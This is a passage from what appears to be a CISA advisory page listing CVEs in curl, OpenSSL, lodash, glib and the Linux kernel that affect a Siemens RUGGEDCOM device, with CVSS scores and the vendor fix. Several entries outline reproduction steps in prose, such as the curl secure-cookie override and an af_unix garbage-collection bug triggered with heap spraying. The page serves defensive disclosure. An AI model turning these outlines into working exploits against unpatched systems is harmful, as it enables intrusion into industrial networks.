<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/674.html">CWE-674 Uncontrolled Recursion</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>3.3</td>
<td>LOW</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-9086</a></h3>
<div class="csaf-accordion-content">
<p>1. A cookie is set using the `secure` keyword for `https://target` 2. curl is redirected to or otherwise made to speak with `http://target` (same hostname, but using clear text HTTP) using the same cookie set 3. The same cookie name is set - but with just a slash as path (`path=\"/\",`). Since this site is not secure, the cookie *should* just be ignored. 4. A bug in the path comparison logic makes curl read outside a heap buffer boundary The bug either causes a crash or it potentially makes the comparison come to the wrong conclusion and lets the clear-text site override the contents of the secure cookie, contrary to expectations and depending on the memory contents immediately following the single-byte allocation that holds the path. The presumed and correct behavior would be to plainly ignore the second set of the cookie since it was already set as secure on a secure host so overriding it on an insecure host should not be okay.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-9086">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-9230</a></h3>
<div class="csaf-accordion-content">
<p>Issue summary: An application trying to decrypt CMS messages encrypted using password based encryption can trigger an out-of-bounds read and write. Impact summary: This out-of-bounds read may trigger a crash which leads to Denial of Service for an application. The out-of-bounds write can cause a memory corruption which can have various consequences including a Denial of Service or Execution of attacker-supplied code. Although the consequences of a successful exploit of this vulnerability could be severe, the probability that the attacker would be able to perform it is low. Besides, password based (PWRI) encryption support in CMS messages is very rarely used. For that reason the issue was assessed as Moderate severity according to our Security Policy. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as the CMS implementation is outside the OpenSSL FIPS module boundary.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-9230">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-9231</a></h3>
<div class="csaf-accordion-content">
<p>Issue summary: A timing side-channel which could potentially allow remote recovery of the private key exists in the SM2 algorithm implementation on 64 bit ARM platforms. Impact summary: A timing side-channel in SM2 signature computations on 64 bit ARM platforms could allow recovering the private key by an attacker.. While remote key recovery over a network was not attempted by the reporter, timing measurements revealed a timing signal which may allow such an attack. OpenSSL does not directly support certificates with SM2 keys in TLS, and so this CVE is not relevant in most TLS contexts. However, given that it is possible to add support for such certificates via a custom provider, coupled with the fact that in such a custom provider context the private key may be recoverable via remote timing measurements, we consider this to be a Moderate severity issue. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as SM2 is not an approved algorithm.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-9231">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/385.html">CWE-385 Covert Timing Channel</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-9232</a></h3>
<div class="csaf-accordion-content">
<p>Issue summary: An application using the OpenSSL HTTP client API functions may trigger an out-of-bounds read if the 'no_proxy' environment variable is set and the host portion of the authority component of the HTTP URL is an IPv6 address. Impact summary: An out-of-bounds read can trigger a crash which leads to Denial of Service for an application. The OpenSSL HTTP client API functions can be used directly by applications but they are also used by the OCSP client functions and CMP (Certificate Management Protocol) client implementation in OpenSSL. However the URLs used by these implementations are unlikely to be controlled by an attacker. In this vulnerable code the out of bounds read can only trigger a crash. Furthermore the vulnerability requires an attacker-controlled URL to be passed from an application to the OpenSSL function and the user has to have a 'no_proxy' environment variable set. For the aforementioned reasons the issue was assessed as Low severity. The vulnerable code was introduced in the following patch releases: 3.0.16, 3.1.8, 3.2.4, 3.3.3, 3.4.0 and 3.5.0. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as the HTTP client implementation is outside the OpenSSL FIPS module boundary.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-9232">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.9</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-10966</a></h3>
<div class="csaf-accordion-content">
<p>curl's code for managing SSH connections when SFTP was done using the wolfSSH powered backend was flawed and missed host verification mechanisms. This prevents curl from detecting MITM attackers and more.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-10966">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.3</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-13465</a></h3>
<div class="csaf-accordion-content">
<p>Lodash versions 4.0.0 through 4.17.22 are vulnerable to prototype pollution in the _.unset and _.omit functions. An attacker can pass crafted paths which cause Lodash to delete methods from global prototypes. The issue permits deletion of properties but does not allow overwriting their original behavior. This issue is patched on 4.17.23</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-13465">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/1321.html">CWE-1321 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.2</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:L">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-13601</a></h3>
<div class="csaf-accordion-content">
<p>A heap-based buffer overflow problem was found in glib through an incorrect calculation of buffer size in the g_escape_uri_string() function. If the string to escape contains a very large number of unacceptable characters (which would need escaping), the calculation of the length of the escaped string could overflow, leading to a potential write off the end of the newly allocated string.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-13601">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/190.html">CWE-190 Integer Overflow or Wraparound</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39913</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: tcp_bpf: Call sk_msg_free() when tcp_bpf_send_verdict() fails to allocate psock-&gt;cork. syzbot reported the splat below. [0] The repro does the following: 1. Load a sk_msg prog that calls bpf_msg_cork_bytes(msg, cork_bytes) 2. Attach the prog to a SOCKMAP 3. Add a socket to the SOCKMAP 4. Activate fault injection 5. Send data less than cork_bytes At 5., the data is carried over to the next sendmsg() as it is smaller than the cork_bytes specified by bpf_msg_cork_bytes(). Then, tcp_bpf_send_verdict() tries to allocate psock-&gt;cork to hold the data, but this fails silently due to fault injection + __GFP_NOWARN. If the allocation fails, we need to revert the sk-&gt;sk_forward_alloc change done by sk_msg_alloc(). Let's call sk_msg_free() when tcp_bpf_send_verdict fails to allocate psock-&gt;cork. The "*copied" also needs to be updated such that a proper error can be returned to the caller, sendmsg. It fails to allocate psock-&gt;cork. Nothing has been corked so far, so this patch simply sets "*copied" to 0. [0]: WARNING: net/ipv4/af_inet.c:156 at inet_sock_destruct+0x623/0x730 net/ipv4/af_inet.c:156, CPU#1: syz-executor/5983 Modules linked in: CPU: 1 UID: 0 PID: 5983 Comm: syz-executor Not tainted syzkaller #0 PREEMPT(full) Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/12/2025 RIP: 0010:inet_sock_destruct+0x623/0x730 net/ipv4/af_inet.c:156 Code: 0f 0b 90 e9 62 fe ff ff e8 7a db b5 f7 90 0f 0b 90 e9 95 fe ff ff e8 6c db b5 f7 90 0f 0b 90 e9 bb fe ff ff e8 5e db b5 f7 90 &lt;0f&gt; 0b 90 e9 e1 fe ff ff 89 f9 80 e1 07 80 c1 03 38 c1 0f 8c 9f fc RSP: 0018:ffffc90000a08b48 EFLAGS: 00010246 RAX: ffffffff8a09d0b2 RBX: dffffc0000000000 RCX: ffff888024a23c80 RDX: 0000000000000100 RSI: 0000000000000fff RDI: 0000000000000000 RBP: 0000000000000fff R08: ffff88807e07c627 R09: 1ffff1100fc0f8c4 R10: dffffc0000000000 R11: ffffed100fc0f8c5 R12: ffff88807e07c380 R13: dffffc0000000000 R14: ffff88807e07c60c R15: 1ffff1100fc0f872 FS: 00005555604c4500(0000) GS:ffff888125af1000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00005555604df5c8 CR3: 0000000032b06000 CR4: 00000000003526f0 Call Trace: __sk_destruct+0x86/0x660 net/core/sock.c:2339 rcu_do_batch kernel/rcu/tree.c:2605 [inline] rcu_core+0xca8/0x1770 kernel/rcu/tree.c:2861 handle_softirqs+0x286/0x870 kernel/softirq.c:579 __do_softirq kernel/softirq.c:613 [inline] invoke_softirq kernel/softirq.c:453 [inline] __irq_exit_rcu+0xca/0x1f0 kernel/softirq.c:680 irq_exit_rcu+0x9/0x30 kernel/softirq.c:696 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1052 [inline] sysvec_apic_timer_interrupt+0xa6/0xc0 arch/x86/kernel/apic/apic.c:1052</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39913">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40214</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: af_unix: Initialise scc_index in unix_add_edge(). Quang Le reported that the AF_UNIX GC could garbage-collect a receive queue of an alive in-flight socket, with a nice repro. The repro consists of three stages. 1) 1-a. Create a single cyclic reference with many sockets 1-b. close() all sockets 1-c. Trigger GC 2) 2-a. Pass sk-A to an embryo sk-B 2-b. Pass sk-X to sk-X 2-c. Trigger GC 3) 3-a. accept() the embryo sk-B 3-b. Pass sk-B to sk-C 3-c. close() the in-flight sk-A 3-d. Trigger GC As of 2-c, sk-A and sk-X are linked to unix_unvisited_vertices, and unix_walk_scc() groups them into two different SCCs: unix_sk(sk-A)-&gt;vertex-&gt;scc_index = 2 (UNIX_VERTEX_INDEX_START) unix_sk(sk-X)-&gt;vertex-&gt;scc_index = 3 Once GC completes, unix_graph_grouped is set to true. Also, unix_graph_maybe_cyclic is set to true due to sk-X's cyclic self-reference, which makes close() trigger GC. At 3-b, unix_add_edge() allocates unix_sk(sk-B)-&gt;vertex and links it to unix_unvisited_vertices. unix_update_graph() is called at 3-a. and 3-b., but neither unix_graph_grouped nor unix_graph_maybe_cyclic is changed because both sk-B's listener and sk-C are not in-flight. 3-c decrements sk-A's file refcnt to 1. Since unix_graph_grouped is true at 3-d, unix_walk_scc_fast() is finally called and iterates 3 sockets sk-A, sk-B, and sk-X: sk-A -&gt; sk-B (-&gt; sk-C) sk-X -&gt; sk-X This is totally fine. All of them are not yet close()d and should be grouped into different SCCs. However, unix_vertex_dead() misjudges that sk-A and sk-B are in the same SCC and sk-A is dead. unix_sk(sk-A)-&gt;scc_index == unix_sk(sk-B)-&gt;scc_index &lt;-- Wrong! &amp;&amp; sk-A's file refcnt == unix_sk(sk-A)-&gt;vertex-&gt;out_degree ^-- 1 in-flight count for sk-B -&gt; sk-A is dead !? The problem is that unix_add_edge() does not initialise scc_index. Stage 1) is used for heap spraying, making a newly allocated vertex have vertex-&gt;scc_index == 2 (UNIX_VERTEX_INDEX_START) set by unix_walk_scc() at 1-c. Let's track the max SCC index from the previous unix_walk_scc() call and assign the max + 1 to a new vertex's scc_index. This way, we can continue to avoid Tarjan's algorithm while preventing misjudgments.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40214">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40248</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: vsock: Ignore signal/timeout on connect() if already established During connect(), acting on a signal/timeout by disconnecting an already established socket leads to several issues: 1. connect() invoking vsock_transport_cancel_pkt() -&gt; virtio_transport_purge_skbs() may race with sendmsg() invoking virtio_transport_get_credit(). This results in a permanently elevated `vvs-&gt;bytes_unsent`. Which, in turn, confuses the SOCK_LINGER handling. 2. connect() resetting a connected socket's state may race with socket being placed in a sockmap. A disconnected socket remaining in a sockmap breaks sockmap's assumptions. And gives rise to WARNs. 3. connect() transitioning SS_CONNECTED -&gt; SS_UNCONNECTED allows for a transport change/drop after TCP_ESTABLISHED. Which poses a problem for any simultaneous sendmsg() or connect() and may result in a use-after-free/null-ptr-deref. Do not disconnect socket on signal/timeout. Keep the logic for unconnected sockets: they don't linger, can't be placed in a sockmap, are rejected by sendmsg().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40248">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40250</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net/mlx5: Clean up only new IRQ glue on request_irq() failure The mlx5_irq_alloc() function can inadvertently free the entire rmap and end up in a crash[1] when the other threads tries to access this, when request_irq() fails due to exhausted IRQ vectors. This commit modifies the cleanup to remove only the specific IRQ mapping that was just added. This prevents removal of other valid mappings and ensures precise cleanup of the failed IRQ allocation's associated glue object. Note: This error is observed when both fwctl and rds configs are enabled. [1] mlx5_core 0000:05:00.0: Successfully registered panic handler for port 1 mlx5_core 0000:05:00.0: mlx5_irq_alloc:293:(pid 66740): Failed to request irq. err = -28 infiniband mlx5_0: mlx5_ib_test_wc:290:(pid 66740): Error -28 while trying to test write-combining support mlx5_core 0000:05:00.0: Successfully unregistered panic handler for port 1 mlx5_core 0000:06:00.0: Successfully registered panic handler for port 1 mlx5_core 0000:06:00.0: mlx5_irq_alloc:293:(pid 66740): Failed to request irq. err = -28 infiniband mlx5_0: mlx5_ib_test_wc:290:(pid 66740): Error -28 while trying to test write-combining support mlx5_core 0000:06:00.0: Successfully unregistered panic handler for port 1 mlx5_core 0000:03:00.0: mlx5_irq_alloc:293:(pid 28895): Failed to request irq. err = -28 mlx5_core 0000:05:00.0: mlx5_irq_alloc:293:(pid 28895): Failed to request irq. err = -28 general protection fault, probably for 